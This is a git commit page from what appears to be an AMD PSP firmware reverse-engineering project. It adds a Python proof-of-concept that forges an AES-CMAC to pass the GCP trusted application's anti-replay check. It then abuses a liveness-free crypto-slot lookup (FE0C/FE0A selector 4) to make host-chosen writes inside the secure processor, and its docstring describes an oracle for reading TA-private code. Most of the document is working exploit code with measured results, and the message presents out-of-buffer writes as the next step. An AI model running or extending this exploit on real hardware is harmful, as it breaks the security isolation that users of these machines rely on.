aboutsummaryrefslogtreecommitdiffstats
path: root/hw
diff options
context:
space:
mode:
authoruser <user@clank>2026-10-07 21:13:39 +0200
committeruser <user@clank>2026-10-07 21:13:39 +0200
commit00a83d55b9f9bc59eaac343213288a9d1e4ae32c (patch)
treefcc2f7ec453bd541ec8f323e0515594539b47383 /hw
parentverify Add.146's reopening condition 1 by hand instead of asserting it; closu... (diff)
downloadamd-psp-re-00a83d55b9f9bc59eaac343213288a9d1e4ae32c.tar.gz
amd-psp-re-00a83d55b9f9bc59eaac343213288a9d1e4ae32c.tar.xz
amd-psp-re-00a83d55b9f9bc59eaac343213288a9d1e4ae32c.zip
[HW] FE0A selector 4: a GCP write with BOTH content and destination host-chosen, proven on silicon
This refutes a claim the FE09 document and the control-flow report both rest on -- that GCP exposes no chosen-value write, so a chain word can only be zero, 0x9e400000, or random. gcp_QueryCryptoSession (0x404c74, FE0A selector 4) calls gcp_GetCryptoSessionByDecodeHandle (0x403b70), which scans all 64 crypto slots comparing slot+0x18 with no liveness test. FE0C never writes slot+0x18, so an all-zero search key matches slot 0 whatever its state, and the lookup returns the slot POINTER. The caller then memcpys slot+8 and slot+0x10 to params+0x418+*(params+0x840) and +*(params+0x838). Those two slot fields are precisely the arg10 and arg18 that the creating FE0C request supplied, so the attacker picks the content with FE0C and the destination with FE0A. Measured, buffer pre-filled 0xBB, arg10=0x1122334455667788 arg18=0x99AABBCCDDEEFF01: keyzero len=8 -> status 0, +0x1000 = 8877665544332211, +0x1400 = 01ffeeddccbbaa99 keyzero len=4 -> status 0, 4 bytes only, so the length field is honoured key nonzero -> status 0x233 (lookup miss), no write -- the attributing negative control Three rig facts recorded because they each cost a run: *(params+0x14) must be nonzero or FE0A returns 0x100 before the sub-handler for every selector including the known-good sel 15, so the zero search key has to be relocated via *(params+0x83c); the destination must sit below params+0x1950 because the parent's post-switch memcpy at 0x4049a8 erased our first two correct writes before readback; and each FE0A needs a fresh FE08/FE09 because of the anti-replay ratchet. Reach is proven in-buffer only, deliberately. The bound is sl+len <= *(params+0x818), which is itself host-supplied, and the write executes before the parent's runaway memcpy, so an out-of-allocation destination looks reachable at the cost of a post-write fault -- untested, and written up as the next step rather than claimed. Also corrects the FE0F document: its closing retraction says the two extra liveness-free lookups are unreachable until state 3 can be driven, and state 3 is reachable via the FE09 forged CMAC, which this result uses. ByDecodeHandle is now demonstrated host-reachable on hardware.
Diffstat (limited to 'hw')
-rw-r--r--hw/gcp_fe0a_qcs_chosen_write.py233
1 files changed, 233 insertions, 0 deletions
diff --git a/hw/gcp_fe0a_qcs_chosen_write.py b/hw/gcp_fe0a_qcs_chosen_write.py
new file mode 100644
index 0000000..60459e9
--- /dev/null
+++ b/hw/gcp_fe0a_qcs_chosen_write.py
@@ -0,0 +1,233 @@
+"""END-TO-END: read a dword of TA-private code via FE0A's comparator oracle.
+
+params VA = 0x04024000 (pinned: fault addr 0x54024014 - 0x14 - 0x50000000).
+Target VA T -> D = (T - params - 0x14) mod 2^32, placed at *(params+0x824).
+Oracle: FE0A returns 0 (ACCEPT) iff counter < value_at_T, else 0x100 (REJECT).
+Counter is set exactly by FE09's seed (counter = seed-1), seed = DATA[0:4], which is inside the
+AES-CMAC'd region -- so each probe needs a freshly computed CMAC. Pure-Python AES-128 below
+(the box has no crypto module). 32 probes binary-search the full 32-bit value.
+"""
+import struct, sys, glob, json
+sys.path.insert(0,'/root/psp/hw')
+from tinygrad import Device
+import tinygrad.runtime.autogen.am.am as am
+
+# ---------- pure-python AES-128 + CMAC ----------
+SB=[0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16]
+def xt(a):
+ a<<=1
+ return (a^0x1b)&0xff if a&0x100 else a
+def expand(k):
+ w=[list(k[i*4:i*4+4]) for i in range(4)]; rc=1
+ for i in range(4,44):
+ t=list(w[i-1])
+ if i%4==0:
+ t=t[1:]+t[:1]; t=[SB[x] for x in t]; t[0]^=rc; rc=xt(rc)
+ w.append([w[i-4][j]^t[j] for j in range(4)])
+ return w
+def enc(k,b):
+ w=expand(k); s=[list(b[i::4]) for i in range(4)]
+ s=[[b[r+4*c] for c in range(4)] for r in range(4)]
+ def ark(rnd):
+ for c in range(4):
+ for r in range(4): s[r][c]^=w[rnd*4+c][r]
+ ark(0)
+ for rnd in range(1,11):
+ for r in range(4):
+ for c in range(4): s[r][c]=SB[s[r][c]]
+ for r in range(1,4): s[r]=s[r][r:]+s[r][:r]
+ if rnd!=10:
+ for c in range(4):
+ a=[s[r][c] for r in range(4)]
+ s[0][c]=xt(a[0])^xt(a[1])^a[1]^a[2]^a[3]
+ s[1][c]=a[0]^xt(a[1])^xt(a[2])^a[2]^a[3]
+ s[2][c]=a[0]^a[1]^xt(a[2])^xt(a[3])^a[3]
+ s[3][c]=xt(a[0])^a[0]^a[1]^a[2]^xt(a[3])
+ ark(rnd)
+ return bytes(s[r][c] for c in range(4) for r in range(4))
+def dbl(b):
+ n=int.from_bytes(b,'big')<<1
+ if int.from_bytes(b,'big')>>127: n^=0x87
+ return (n&((1<<128)-1)).to_bytes(16,'big')
+def cmac(k,m):
+ L=enc(k,bytes(16)); K1=dbl(L)
+ assert len(m)%16==0 and m
+ blocks=[m[i:i+16] for i in range(0,len(m),16)]
+ blocks[-1]=bytes(a^b for a,b in zip(blocks[-1],K1))
+ x=bytes(16)
+ for blk in blocks: x=enc(k,bytes(a^b for a,b in zip(x,blk)))
+ return x
+# ---------- device ----------
+adev=Device["AMD"].iface.dev_impl; psp=adev.psp
+BUFLEN=0x40000; PAT=0xA5; SZ=0x1000; PARAMS=0x04024000
+g=json.load(open('/root/psp/hw/fe08_good.json'))
+CT=bytes.fromhex(g['ct']); SK=bytes.fromhex(g['sk']); SEED=g['seedoff']
+assert cmac(SK,bytes([1,0,0,0])+bytes(range(4,0x20))).hex()==g['mac'], 'CMAC self-test FAILED'
+print('pure-python AES-CMAC self-test: OK (matches the host-computed MAC)')
+def alloc(n):
+ pa=adev.mm.palloc(n,align=0x1000,zero=True,boot=False); return pa,adev.paddr2mc(pa)
+def load_asd(p):
+ b=open(p,'rb').read(); ap,amc=alloc(0x80000); sp,smc=alloc(0x10000); n=(len(b)+3)&~3
+ adev.vram.view(ap,n)[:]=b+b'\x00'*(n-len(b)); adev.gmc.flush_hdp()
+ c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_ASD); t=c.cmd.cmd_load_ta
+ t.app_phy_addr_lo,t.app_phy_addr_hi=amc&0xFFFFFFFF,amc>>32; t.app_len=len(b)
+ t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=smc&0xFFFFFFFF,smc>>32; t.cmd_buf_len=0x10000
+ try: return psp._ring_submit(c).resp.status&0xFFFFFFFF
+ except Exception: return -1
+app_pa,app_mc=alloc(0x80000); cp,cmc=alloc(BUFLEN)
+blob=open(glob.glob('/root/psp/contall/ta_22-0-0-77*')[0],'rb').read()
+def load():
+ n=(len(blob)+3)&~3
+ adev.vram.view(app_pa,n)[:]=blob+b'\x00'*(n-len(blob)); adev.gmc.flush_hdp()
+ c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t=c.cmd.cmd_load_ta
+ t.app_phy_addr_lo,t.app_phy_addr_hi=app_mc&0xFFFFFFFF,app_mc>>32; t.app_len=len(blob)
+ t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=cmc&0xFFFFFFFF,cmc>>32; t.cmd_buf_len=BUFLEN
+ try:
+ r=psp._ring_submit(c); return r.resp.status&0xFFFFFFFF, r.resp.session_id
+ except Exception: return -1,None
+def build(cmd,arg10,blob256=None,seed=None,extra=None):
+ buf=bytearray(bytes([PAT])*BUFLEN)
+ struct.pack_into('<I',buf,0,cmd); struct.pack_into('<I',buf,0x10,arg10)
+ struct.pack_into('<I',buf,0x414,0xFFFFFFFB); struct.pack_into('<I',buf,0x818,SZ)
+ if blob256: buf[0x14:0x14+len(blob256)]=blob256
+ if seed is not None:
+ d=seed.to_bytes(4,'little')+bytes(range(4,0x20))
+ buf[0x14:0x24]=cmac(SK,d); buf[0x24:0x24+len(d)]=d
+ struct.pack_into('<I',buf,0x414,0x10+len(d))
+ for o,v in (extra or {}).items(): struct.pack_into('<I',buf,o,v)
+ return buf
+def sub(sid,cmd,buf):
+ adev.vram.view(cp,BUFLEN)[:]=bytes(buf); adev.gmc.flush_hdp()
+ c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
+ iv=c.cmd.cmd_invoke_cmd; iv.session_id,iv.ta_cmd_id=sid,cmd
+ try: psp._ring_submit(c)
+ except Exception: pass
+ adev.gmc.flush_hdp(); out=bytes(adev.vram.view(cp,BUFLEN)[:])
+ return struct.unpack_from('<I',out,8)[0], out
+
+import time
+PARAMS=0x04024000
+FILL=0xBB
+print('LOAD_ASD:',hex(load_asd('/root/psp/contall/asd_33-0-0-163_18debcc4.bin')))
+st,sid=load(); print('load GCP: %#x sid=%s'%(st,sid)); sys.stdout.flush()
+def unload(s_):
+ c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA); c.cmd.cmd_unload_ta.session_id=s_
+ try: psp._ring_submit(c)
+ except Exception: pass
+def handshake():
+ global sid
+ for _ in range(8):
+ ta,out=sub(sid,0xFE07,build(0xFE07,0)); h=struct.unpack_from('<I',out,0x1950)[0]
+ if ta==0: return h
+ unload(sid); st2,ns=load(); sid=ns if ns else sid; time.sleep(0.2)
+ raise RuntimeError('FE07 failed')
+
+# ============================================================================
+# FE0A SELECTOR-8 PROBE (Addendum 142 step 3)
+#
+# Static claim under test: FE0A selector 8 -> tbb case 7 -> 0x404fe8, which stores a
+# 4-byte LE dword (the ASD cmd-0x109 RPC result) at params + *(params+0x834) + 0x418,
+# gated by D > 0xFFFFFFFB || D + 4 <= *(params+0x818).
+#
+# This run is IN-BUFFER ONLY: every displacement keeps the destination inside the
+# command buffer, so nothing out-of-allocation is written and the ring stays healthy.
+# Whole-buffer diff (fill 0xBB) so an unexpected landing offset is still observed --
+# the 0x834 field identity is a static inference and may be wrong.
+# ============================================================================
+FILL2 = 0xBB
+
+def invoke(cmd, buf):
+ adev.vram.view(cp, BUFLEN)[:] = bytes(buf); adev.gmc.flush_hdp()
+ c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
+ iv = c.cmd.cmd_invoke_cmd; iv.session_id, iv.ta_cmd_id = sid, cmd
+ try: psp._ring_submit(c)
+ except Exception as e: print(' submit exc', e)
+ adev.gmc.flush_hdp()
+ return bytes(adev.vram.view(cp, BUFLEN)[:])
+
+def fe0a_buf(h, sel, d86c=0, d834=None, sz818=0x1000):
+ """identical field set to codeccap's proven fe0a_codec, plus +0x834"""
+ buf = bytearray(bytes([FILL2]) * BUFLEN)
+ struct.pack_into('<I', buf, 0, 0xFE0A)
+ struct.pack_into('<I', buf, 0x10, h)
+ struct.pack_into('<I', buf, 0x414, 0x1000)
+ struct.pack_into('<I', buf, 0x818, sz818)
+ struct.pack_into('<I', buf, 0x81c, 0x20)
+ struct.pack_into('<I', buf, 0x820, sel)
+ struct.pack_into('<I', buf, 0x824, 0)
+ struct.pack_into('<I', buf, 0x828, 0)
+ struct.pack_into('<I', buf, 0x86c, d86c)
+ if d834 is not None: struct.pack_into('<I', buf, 0x834, d834)
+ struct.pack_into('<I', buf, 0x14, 0x11111111)
+ return buf
+
+def diffruns(pre, post):
+ runs, i, n = [], 0, len(post)
+ while i < n:
+ if post[i] != pre[i]:
+ j = i
+ while j < n and post[j] != pre[j]: j += 1
+ runs.append((i, post[i:j])); i = j
+ else:
+ i += 1
+ return runs
+
+def probe(tag, sel, d834=None, d86c=0, sz818=0x1000):
+ h = handshake()
+ sub(sid, 0xFE08, build(0xFE08, h, blob256=CT))
+ sub(sid, 0xFE09, build(0xFE09, h, seed=1,
+ extra={0x820:1, 0x828:(0x500-0x418)&0xFFFFFFFF, 0x82C:SEED, 0x830:0}))
+ buf = fe0a_buf(h, sel, d86c=d86c, d834=d834, sz818=sz818)
+ out = invoke(0xFE0A, buf)
+ st = struct.unpack_from('<I', out, 8)[0]
+ d834s = 'none' if d834 is None else '%#x' % d834
+ print('%-34s sel=%-3d 0x834=%-12s status=%#x (%d)' % (tag, sel, d834s, st, st))
+ runs = diffruns(bytes(buf), out)
+ for off, data in runs:
+ if len(data) <= 24: print(' +%#07x %s' % (off, data.hex(' ')))
+ else: print(' +%#07x len=%-5d %s ...' % (off, len(data), data[:16].hex(' ')))
+ if not runs: print(' (no host-visible change at all)')
+ sys.stdout.flush()
+
+ARG10=0x1122334455667788; ARG18=0x99AABBCCDDEEFF01
+def fe0c_create(h,a10,a18):
+ b=bytearray(bytes([PAT])*BUFLEN)
+ struct.pack_into('<I',b,0,0xFE0C); struct.pack_into('<I',b,0x10,h)
+ struct.pack_into('<Q',b,0x10,a10); struct.pack_into('<Q',b,0x18,a18)
+ struct.pack_into('<I',b,0x414,0x1000); struct.pack_into('<I',b,0x818,0x1000)
+ return b
+def qcs(h,f83c=0x200,keyzero=True,TA=0x1000,TB=0x1400,f81c=0x40,f818=0x8000,sel=4):
+ b=bytearray(bytes([0xBB])*BUFLEN)
+ struct.pack_into('<I',b,0,0xFE0A); struct.pack_into('<I',b,0x10,h)
+ struct.pack_into('<I',b,0x14,0x11111111) # MUST be nonzero (parent rejects 0 with 0x100)
+ struct.pack_into('<I',b,0x414,0x1000)
+ struct.pack_into('<I',b,0x818,f818)
+ struct.pack_into('<I',b,0x81c,f81c)
+ struct.pack_into('<I',b,0x820,sel)
+ struct.pack_into('<I',b,0x824,0); struct.pack_into('<I',b,0x828,0)
+ struct.pack_into('<I',b,0x838,(TB-0x418)&0xFFFFFFFF)
+ struct.pack_into('<I',b,0x83c,f83c)
+ struct.pack_into('<I',b,0x840,(TA-0x418)&0xFFFFFFFF)
+ # search key is read from params+0x14+f83c
+ if keyzero: struct.pack_into('<Q',b,0x14+f83c,0)
+ else: struct.pack_into('<Q',b,0x14+f83c,0xDEADBEEFCAFEBABE)
+ return b,TA,TB
+def run(tag,**kw):
+ h=handshake()
+ stc,outc=sub(sid,0xFE0C,fe0c_create(h,ARG10,ARG18))
+ sub(sid,0xFE08,build(0xFE08,h,blob256=CT))
+ sub(sid,0xFE09,build(0xFE09,h,seed=1,extra={0x820:1,0x828:(0x500-0x418)&0xFFFFFFFF,0x82C:SEED,0x830:0}))
+ b,TA,TB=qcs(h,**kw); out=invoke(0xFE0A,b)
+ st=struct.unpack_from('<I',out,8)[0]
+ a=out[TA:TA+8]; d=out[TB:TB+8]
+ print('%-40s FE0C=%#-6x status=%#-7x +%#06x=%s +%#06x=%s'%(tag,stc,st,TA,a.hex(),TB,d.hex()))
+ if a==struct.pack('<Q',ARG10): print(' *** dstA == arg10 -> CHOSEN-CONTENT WRITE CONFIRMED ***')
+ if d==struct.pack('<Q',ARG18): print(' *** dstB == arg18 -> CHOSEN-CONTENT WRITE CONFIRMED ***')
+ sys.stdout.flush(); return st
+print('\n'+'='*78)
+print('params+0x14 kept NONZERO; zero search key relocated to params+0x14+*(0x83c)')
+print('='*78)
+run('sel4 keyzero f83c=0x200 len=8')
+run('sel4 keyzero f83c=0x200 len=4', f81c=0x20)
+run('sel4 key NONZERO (expect 0x233 miss)', keyzero=False)
+print('\ndone-qcs4.')